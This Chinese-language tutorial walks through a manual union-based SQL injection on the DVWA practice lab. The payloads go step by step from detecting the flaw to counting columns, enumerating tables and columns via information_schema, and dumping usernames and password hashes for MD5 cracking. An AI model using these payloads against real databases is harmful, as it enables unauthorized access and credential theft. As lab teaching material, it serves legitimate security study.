首先判断是否可以注入
输入:’
发现网站报错了,表示可以注入(后台有进行执行)
在判断是为字符型还是数字型
输入:1 and 1=1
再输入:1 and 1=2
因为1=1为真,1=2为假,但是1=2还是有回显
输入:1 ‘ and 1=1# (#号和-- 一样注释掉后面部分)--后有空格
再输入:1’ and 1=2#
没有回显所以表示这个是字符型,因为它吧前两个当成了一句话,后两个被单引号分开后是两句话,第二次的假值没有回显
查看数据库有几列
输入:1’ order by 3#
报错了表示没有第3列
在输入:1’ order by 2#
有回显表示有2列
在查看数据库的回显位
输入:1’ union select 1,2# (union select表示联合查询)
可以看到两个都进行回显了(有些环境只会回显第一个位置,所以这一步要进行测试查看)
在输入:1’ union select database (), user()#
可以看到上一步回显1的地方现在回显的是库名,回显2的地方现在是回显用户名
database() 是数据库名
user() 是用户名
version() 是数据库版本
知道了数据库名了后进行查询表名
输入:1' and 1=2 union select table_name,2 from information_schema.tables where table_schema='dvwa'#(and 1=2是取消掉第一次的默认显示如图二,table_name是表名的变量,dvwa是前面查到的库名)
图一
图二
可以看到回显了两个表名users和guestbook,在对表进行查询字段名(根据分析users是存放用户信息的表)
输入:1’ and 1=2 union select 1,group_concat(column_name) from information_schema. columns where table_name=’users’# (group_concat(column_name)是字段名变量users是表名)
可以看到在回显位的第二位回显了字段名可以看到有很多(根据分析可能是用户名和密码的字段名是password,user,last_name,first_name)
在进行输入:1' and 1=2 union select first_name,password from users#
在输入:1' and 1=2 union select last_name,password from users#
在输入:
可以看见只有admin这个用户没有改变过所以admin这个用户和密码是对应的,打开pmd5进行编译可以看见密码